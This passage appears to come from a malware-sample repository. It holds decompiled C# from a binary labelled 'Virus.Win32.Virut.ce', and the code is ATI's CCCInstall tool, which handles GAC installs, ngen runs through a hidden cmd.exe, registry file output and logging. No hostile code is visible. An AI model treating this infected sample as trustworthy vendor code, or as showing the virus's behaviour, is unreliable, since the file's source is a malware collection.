Console.WriteLine(" Ex: Core-Static\\CCCInstall.exe createversion -f Core-Static\\ACE.dat");
Console.WriteLine("");
Console.WriteLine("InputModes:");
Console.WriteLine(" -f <filePath>");
Console.WriteLine(" Gets list of assemblies from Install.xml at the specified path");
Console.WriteLine(" -p <packageName>");
Console.WriteLine(" Uses the Install.xml for the specified package referenced in the registry");
Console.WriteLine(" -a");
Console.WriteLine(" Reads the registry for all packages with a valid Install.xml, but skip branding");
Console.WriteLine(" -fa");
Console.WriteLine(" Option to remove all ATI file from the GAC without looking at XML files.");
Console.WriteLine(" -fa -b");
Console.WriteLine(" Option to remove all ATI file from the GAC, but skip branding files.");
Console.WriteLine(" -fb");
Console.WriteLine(" Option to remove all ATI branding file from the GAC without looking at XML files.");
Console.WriteLine("");
Console.WriteLine("NoLog:");
Console.WriteLine(" /nolog");
Console.WriteLine(" Suppresses log file generation");
Console.WriteLine("");
Console.WriteLine("");
if (this.showLog && this.Log != null)
{
this.Log.LogMessage("Invalid syntax.");
this.Log.LogFinished();
}
Environment.Exit(1);
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstallLog.cs
+104
View File
@@ -0,0 +1,104 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.CCCInstallLog
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.IO;
using System.Text;
namespace ATI.ACE.CCCInstall
{
public class CCCInstallLog
{
private StringBuilder sb;
private bool ShowLog = true;
public CCCInstallLog()
{
try
{
this.sb = new StringBuilder();
this.sb.AppendLine("===========================================");
this.sb.AppendLine("** CCCInstall started: " + DateTime.Now.ToString("u"));
}
catch
{
}
}
public CCCInstallLog(bool showLog)
{
this.ShowLog = showLog;
if (!showLog)
return;
try
{
this.sb = new StringBuilder();
this.sb.AppendLine("===========================================");
this.sb.AppendLine("** CCCInstall started: " + DateTime.Now.ToString("u"));
}
catch
{
}
}
public void LogException(Exception e)
{
if (!this.ShowLog)
return;
try
{
this.sb.AppendFormat("[{0}] Exception:\r\n{1}\r\n{2}\r\n", (object) DateTime.Now.ToString("u"), (object) e.Message, (object) e.StackTrace);
}
catch
{
}
}
public void LogException(Exception e, string additionalMessage)
{
if (!this.ShowLog)
return;
try
{
this.sb.AppendFormat("[{0}] Exception: {1}\r\n{2}\r\n{3}\r\n", (object) DateTime.Now.ToString("u"), (object) additionalMessage, (object) e.Message, (object) e.StackTrace);
}
catch
{
}
}
public void LogMessage(string message)
{
if (!this.ShowLog)
return;
try
{
this.sb.AppendFormat("[{0}] Message: {1}\r\n", (object) DateTime.Now.ToString("u"), (object) message);
}
catch
{
}
}
public void LogFinished()
{
if (!this.ShowLog)
return;
StreamWriter streamWriter = (StreamWriter) null;
try
{
streamWriter = new StreamWriter("CCCInstall_" + DateTime.Now.ToString("yyyyMMddHHmmssffff") + ".log", true);
streamWriter.Write(this.sb.ToString());
streamWriter.WriteLine("** CCCInstall ended: " + DateTime.Now.ToString("u"));
streamWriter.WriteLine("===========================================");
}
finally
{
streamWriter?.Close();
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/BaseTask.cs
+43
View File
@@ -0,0 +1,43 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.BaseTask
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.IO;
using System.Xml;
namespace ATI.ACE.CCCInstall.Tasks
{
internal abstract class BaseTask
{
protected CCCInstallLog Logger;
public BaseTask(CCCInstallLog log) => this.Logger = log;
protected XmlDocument LoadXmlDocument(string path)
{
XmlDocument xmlDocument = (XmlDocument) null;
try
{
xmlDocument = new XmlDocument();
xmlDocument.Load(path);
}
catch (Exception ex)
{
this.Logger.LogException(ex, "Error loading XML file: " + path);
}
return xmlDocument;
}
protected string MassagePath(string path)
{
string empty = string.Empty;
string path1 = path.Replace("/", "\\").Trim('"');
if (!Path.IsPathRooted(path1))
path1 = Path.GetFullPath(path1);
return File.Exists(path1) ? path1 : throw new FileNotFoundException("Could not find " + path1, path);
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/GACTasks.cs
+83
View File
@@ -0,0 +1,83 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.GACTasks
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.EnterpriseServices.Internal;
using System.IO;
using System.Reflection;
using System.Xml;
namespace ATI.ACE.CCCInstall.Tasks
{
internal class GACTasks : BaseTask, ITask
{
private const string ARG_BRANDING = "Branding";
private Publish pub;
private ATI.ACE.CCCInstall.Action action;
public GACTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action)
: base(log)
{
this.pub = new Publish();
this.action = action;
}
public void Run(string filePath)
{
try
{
string path = this.MassagePath(filePath);
string directoryName = Path.GetDirectoryName(path);
XmlDocument xmlDocument = this.LoadXmlDocument(path);
if (xmlDocument == null)
return;
this.Logger.LogMessage("Successfully loaded XML file " + path);
foreach (XmlNode selectNode in xmlDocument.SelectNodes("Package/Include"))
{
try
{
XmlAttributeCollection attributes = selectNode.Attributes;
string innerText1 = attributes["file"].InnerText;
string innerText2 = attributes["extension"].InnerText;
bool flag = bool.Parse(attributes["GAC"].InnerText);
string str = directoryName + "\\" + innerText1 + "." + innerText2;
if (flag)
{
try
{
Assembly.ReflectionOnlyLoadFrom(str);
if (this.action == ATI.ACE.CCCInstall.Action.InstallGAC)
{
this.pub.GacInstall(str);
this.Logger.LogMessage(innerText1 + "." + innerText2 + " successfully installed into the GAC");
}
else if (this.action == ATI.ACE.CCCInstall.Action.UninstallGAC)
{
this.pub.GacRemove(str);
this.Logger.LogMessage(innerText1 + "." + innerText2 + " successfully removed from the GAC");
}
else
this.Logger.LogMessage("Debug: Wrong parameter passed");
}
catch (Exception ex)
{
this.Logger.LogException(ex, innerText1 + "." + innerText2);
}
}
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
}
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/ITask.cs
+13
View File
@@ -0,0 +1,13 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.ITask
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
namespace ATI.ACE.CCCInstall.Tasks
{
internal interface ITask
{
void Run(string filePath);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/NgenTasks.cs
+127
View File
@@ -0,0 +1,127 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.NgenTasks
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Xml;
namespace ATI.ACE.CCCInstall.Tasks
{
internal class NgenTasks : BaseTask, ITask
{
private ATI.ACE.CCCInstall.Action action;
public NgenTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action)
: base(log)
{
this.action = action;
}
public void Run(string filePath)
{
if (this.action == ATI.ACE.CCCInstall.Action.UpdateNgen)
{
Process process = (Process) null;
StreamWriter streamWriter = (StreamWriter) null;
try
{
process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.CreateNoWindow = true;
process.StartInfo.Arguments = "/E:ON";
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.UseShellExecute = false;
process.Start();
streamWriter = process.StandardInput;
string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen update";
streamWriter.WriteLine(message);
streamWriter.Flush();
this.Logger.LogMessage(message);
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
finally
{
streamWriter?.Close();
process?.Close();
}
}
else
{
try
{
string path1 = this.MassagePath(filePath);
string directoryName = Path.GetDirectoryName(path1);
XmlDocument xmlDocument = this.LoadXmlDocument(path1);
if (xmlDocument == null)
return;
Process process = (Process) null;
StreamWriter streamWriter = (StreamWriter) null;
try
{
this.Logger.LogMessage("Successfully loaded XML file " + path1);
XmlNodeList xmlNodeList = xmlDocument.SelectNodes("Package/Include");
process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.CreateNoWindow = true;
process.StartInfo.Arguments = "/E:ON";
process.StartInfo.RedirectStandardInput = true;
process.StartInfo.UseShellExecute = false;
process.Start();
streamWriter = process.StandardInput;
foreach (XmlNode xmlNode in xmlNodeList)
{
XmlAttributeCollection attributes = xmlNode.Attributes;
string innerText1 = attributes["file"].InnerText;
string innerText2 = attributes["extension"].InnerText;
string path2 = directoryName + "\\" + innerText1 + "." + innerText2;
if (bool.Parse(attributes["nGen"].InnerText))
{
if (File.Exists(path2))
{
string empty = string.Empty;
if (this.action == ATI.ACE.CCCInstall.Action.InstallNGen)
{
string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen install \"" + directoryName + "\\" + innerText1 + "." + innerText2 + "\"";
streamWriter.WriteLine(message);
this.Logger.LogMessage(message);
}
else if (this.action == ATI.ACE.CCCInstall.Action.UninstallNGen)
{
string message = Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ngen uninstall \"" + directoryName + "\\" + innerText1 + "." + innerText2 + "\"";
streamWriter.WriteLine(message);
this.Logger.LogMessage(message);
}
else
this.Logger.LogMessage("Debug: Wrong parameter passed");
streamWriter.Flush();
}
else
this.Logger.LogMessage("Assembly not found: " + path2);
}
}
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
finally
{
streamWriter?.Close();
process?.Close();
}
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/RegistryTasks.cs
+99
View File
@@ -0,0 +1,99 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.RegistryTasks
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.IO;
using System.Reflection;
using System.Xml;
namespace ATI.ACE.CCCInstall.Tasks
{
internal class RegistryTasks : BaseTask, ITask
{
private ATI.ACE.CCCInstall.Action action;
public RegistryTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action)
: base(log)
{
this.action = action;
}
public void Run(string filePath)
{
if (this.action == ATI.ACE.CCCInstall.Action.CreateReg)
{
StreamWriter streamWriter = (StreamWriter) null;
try
{
string path = this.MassagePath(filePath);
string directoryName = Path.GetDirectoryName(path);
XmlDocument xmlDocument = this.LoadXmlDocument(path);
if (xmlDocument == null)
return;
this.Logger.LogMessage("Successfully loaded XML file " + path);
XmlNodeList xmlNodeList = xmlDocument.SelectNodes("Package/Include");
streamWriter = new StreamWriter(path.Replace(".xml", ".reg"));
streamWriter.WriteLine("Windows Registry Editor Version 5.00");
streamWriter.WriteLine("");
bool flag1 = true;
foreach (XmlNode xmlNode in xmlNodeList)
{
try
{
XmlAttributeCollection attributes = xmlNode.Attributes;
string innerText1 = attributes["file"].InnerText;
string innerText2 = attributes["extension"].InnerText;
bool flag2 = bool.Parse(attributes["GAC"].InnerText);
string str1 = directoryName + "\\" + innerText1 + "." + innerText2;
try
{
if (flag2)
{
if (File.Exists(str1))
{
string str2 = "\"" + innerText1 + "\"=\"" + Assembly.ReflectionOnlyLoadFrom(str1).FullName + "\"";
if (IntPtr.Size == 8)
streamWriter.WriteLine("[HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\ATI\\ACE\\Assemblies]");
else
streamWriter.WriteLine("[HKEY_LOCAL_MACHINE\\Software\\ATI\\ACE\\Assemblies]");
streamWriter.WriteLine(str2);
streamWriter.WriteLine();
}
else
this.Logger.LogMessage("Assembly file not found: " + str1);
}
}
catch (Exception ex)
{
this.Logger.LogException(ex, "Error loading " + innerText1 + "." + innerText2);
flag1 = false;
}
}
catch (Exception ex)
{
this.Logger.LogException(ex);
flag1 = false;
}
}
if (flag1)
this.Logger.LogMessage("Install.reg file successfully created.");
else
this.Logger.LogMessage("Install.reg file created. Some assemblies had errors.");
}
catch (Exception ex)
{
this.Logger.LogException(ex);
}
finally
{
streamWriter?.Close();
}
}
else
this.Logger.LogMessage("Debug: Wrong parameter passed");
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/VersionTasks.cs
+60
View File
@@ -0,0 +1,60 @@
// Decompiled with JetBrains decompiler
// Type: ATI.ACE.CCCInstall.Tasks.VersionTasks
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
namespace ATI.ACE.CCCInstall.Tasks
{
internal class VersionTasks : BaseTask, ITask
{
private ATI.ACE.CCCInstall.Action action;
public VersionTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action)
: base(log)
{
this.action = action;
}
public void Run(string filePath_)
{
if (this.action == ATI.ACE.CCCInstall.Action.CreateVersion)
{
string directoryName = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
string str1 = directoryName.Substring(0, directoryName.LastIndexOf(Path.DirectorySeparatorChar) + 1) + "Core-Implementation" + (object) Path.DirectorySeparatorChar + "CLI.Component.Wizard.dll";
if (File.Exists(str1))
{
FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(str1);
string str2 = string.Format("{0}.{1}", (object) DateTime.Now.ToString("yyyy.MMdd.HHmm"), (object) versionInfo.FilePrivatePart);
string path = filePath_.Replace("/", "\\").Trim('"');
if (!Path.IsPathRooted(path))
path = Path.GetFullPath(path);
StreamWriter streamWriter = (StreamWriter) null;
try
{
streamWriter = new StreamWriter(path, false);
streamWriter.WriteLine("Version={0}", (object) str2);
this.Logger.LogMessage("Version=" + str2);
}
catch (Exception ex)
{
this.Logger.LogException(ex, "CreateVersion");
}
finally
{
streamWriter?.Close();
}
}
else
this.Logger.LogMessage("Assembly file not found: " + str1);
}
else
this.Logger.LogMessage("Debug: Wrong parameter passed");
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/AssemblyInfo.cs
+14
View File
@@ -0,0 +1,14 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: ComVisible(false)]
[assembly: AssemblyKeyName("")]
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCopyright("2002-2006")]
[assembly: AssemblyProduct("Catalyst® Control Centre")]
[assembly: AssemblyCompany("ATI Technologies Inc.")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyDescription("CCCInstall Tool")]
[assembly: AssemblyTitle("CCCInstall")]
[assembly: AssemblyVersion("2.0.3163.17516")]
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CACHE_FLAGS.cs
+18
View File
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.ASM_CACHE_FLAGS
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
namespace MsGac.Fusion.Native
{
[Flags]
internal enum ASM_CACHE_FLAGS
{
ASM_CACHE_ZAP = 1,
ASM_CACHE_GAC = 2,
ASM_CACHE_DOWNLOAD = 4,
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_CMP_FLAGS.cs
+25
View File
@@ -0,0 +1,25 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.ASM_CMP_FLAGS
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
namespace MsGac.Fusion.Native
{
[Flags]
internal enum ASM_CMP_FLAGS
{
NAME = 1,
MAJOR_VERSION = 2,
MINOR_VERSION = 4,
BUILD_NUMBER = 8,
REVISION_NUMBER = 16, // 0x00000010
PUBLIC_KEY_TOKEN = 32, // 0x00000020
CULTURE = 64, // 0x00000040
CUSTOM = 128, // 0x00000080
ALL = CUSTOM | CULTURE | PUBLIC_KEY_TOKEN | REVISION_NUMBER | BUILD_NUMBER | MINOR_VERSION | MAJOR_VERSION | NAME, // 0x000000FF
DEFAULT = 256, // 0x00000100
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_DISPLAY_FLAGS.cs
+22
View File
@@ -0,0 +1,22 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.ASM_DISPLAY_FLAGS
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
namespace MsGac.Fusion.Native
{
[Flags]
internal enum ASM_DISPLAY_FLAGS
{
VERSION = 1,
CULTURE = 2,
PUBLIC_KEY_TOKEN = 4,
PUBLIC_KEY = 8,
CUSTOM = 16, // 0x00000010
PROCESSORARCHITECTURE = 32, // 0x00000020
LANGUAGEID = 64, // 0x00000040
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASM_NAME.cs
+32
View File
@@ -0,0 +1,32 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.ASM_NAME
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
namespace MsGac.Fusion.Native
{
internal enum ASM_NAME
{
PUBLIC_KEY,
PUBLIC_KEY_TOKEN,
HASH_VALUE,
NAME,
MAJOR_VERSION,
MINOR_VERSION,
BUILD_NUMBER,
REVISION_NUMBER,
CULTURE,
PROCESSOR_ID_ARRAY,
OSINFO_ARRAY,
HASH_ALGID,
ALIAS,
CODEBASE_URL,
CODEBASE_LASTMOD,
NULL_PUBLIC_KEY,
NULL_PUBLIC_KEY_TOKEN,
CUSTOM,
NULL_CUSTOM,
MVID,
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/ASSEMBLY_INFO.cs
+20
View File
@@ -0,0 +1,20 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.ASSEMBLY_INFO
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct ASSEMBLY_INFO
{
public uint cbAssemblyInfo;
public uint dwAssemblyFlags;
public ulong uliAssemblySizeInKB;
public string pszCurrentAssemblyPathBuf;
public uint cchBuf;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FUSION_INSTALL_REFERENCE.cs
+21
View File
@@ -0,0 +1,21 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.FUSION_INSTALL_REFERENCE
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
internal struct FUSION_INSTALL_REFERENCE
{
public uint cbSize;
public uint dwFlags;
public Guid guidScheme;
public string szIdentifier;
public string szNonCannonicalData;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/FusionApi.cs
+90
View File
@@ -0,0 +1,90 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.FusionApi
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace MsGac.Fusion.Native
{
internal class FusionApi
{
private const uint IASSEMBLYCACHE_INSTALL_FLAG_REFRESH = 1;
private const uint IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH = 2;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED = 1;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE = 2;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED = 3;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING = 4;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES = 5;
private const uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND = 6;
public static readonly Guid FUSION_REFCOUNT_UNINSTALL_SUBKEY_GUID = new Guid("8cedc215-ac4b-488b-93c0-a50a49cb2fb8");
public static readonly Guid FUSION_REFCOUNT_FILEPATH_GUID = new Guid("b02f9d65-fb77-4f7a-afa5-b391309f11c9");
public static readonly Guid FUSION_REFCOUNT_OPAQUE_STRING_GUID = new Guid("2ec93463-b0c3-45e1-8364-327e96aea856");
public static readonly Guid FUSION_REFCOUNT_MSI_GUID = new Guid("25df0fc1-7f97-4070-add7-4b13bbfd7cb8");
[DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void GetCachePath(
ASM_CACHE_FLAGS dwCacheFlags,
[MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwzCachePath,
ref uint pcchPath);
[DllImport("fusion.dll", PreserveSig = false)]
public static extern void CreateAssemblyCache(out IAssemblyCache ppAsmCache, uint dwReserved);
[DllImport("fusion.dll", PreserveSig = false)]
public static extern void CreateAssemblyEnum(
out IAssemblyEnum ppEnum,
IntPtr pUnkReserved,
IAssemblyName pName,
ASM_CACHE_FLAGS dwFlags,
IntPtr pvReserved);
[DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void CreateAssemblyNameObject(
out IAssemblyName ppName,
string szAssemblyName,
uint dwFlags,
IntPtr pvReserved);
[DllImport("fusion.dll", PreserveSig = false)]
public static extern void CreateInstallReferenceEnum(
out IInstallReferenceEnum ppRefEnum,
IAssemblyName pName,
uint dwFlags,
IntPtr pvReserved);
[DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void CreateHistoryReader(
string wzFilePath,
out IHistoryReader ppHistReader);
[DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void GetHistoryFileDirectory([MarshalAs(UnmanagedType.LPWStr)] StringBuilder wzDir, ref uint pdwSize);
[DllImport("fusion.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern void LookupHistoryAssembly(
string pwzFilePath,
ref System.Runtime.InteropServices.ComTypes.FILETIME pftActivationDate,
string pwzAsmName,
string pwzPublicKeyToken,
string wzCulture,
string pwzVerRef,
out IntPtr pHistAsm);
[DllImport("fusion.dll", PreserveSig = false)]
public static extern void NukeDownloadedCache();
[DllImport("fusion.dll", PreserveSig = false)]
public static extern void CreateApplicationContext(IAssemblyName pName, out IntPtr ppCtx);
[DllImport("shfusion.dll", CharSet = CharSet.Unicode)]
public static extern uint PolicyManager(
IntPtr hWndParent,
string pwzFullyQualifiedAppPath,
string pwzAppName,
int dwFlags);
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/MsGac/Fusion/Native/IAssemblyCache.cs
+44
View File
@@ -0,0 +1,44 @@
// Decompiled with JetBrains decompiler
// Type: MsGac.Fusion.Native.IAssemblyCache
// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null
// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace MsGac.Fusion.Native
{
[Guid("E707DCDE-D1CD-11D2-BAB9-00C04F8ECEAE")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
internal interface IAssemblyCache
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int UninstallAssembly(
uint dwFlags,
[MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName,
[MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData,
out uint pulDisposition);
[MethodImpl(MethodImplOptions.PreserveSig)]
int QueryAssemblyInfo(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, ref ASSEMBLY_INFO pAsmInfo);
[MethodImpl(MethodImplOptions.PreserveSig)]
int CreateAssemblyCacheItem(
uint dwFlags,
IntPtr pvReserved,
out IAssemblyCacheItem ppAsmItem,
[MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName);
[MethodImpl(MethodImplOptions.PreserveSig)]
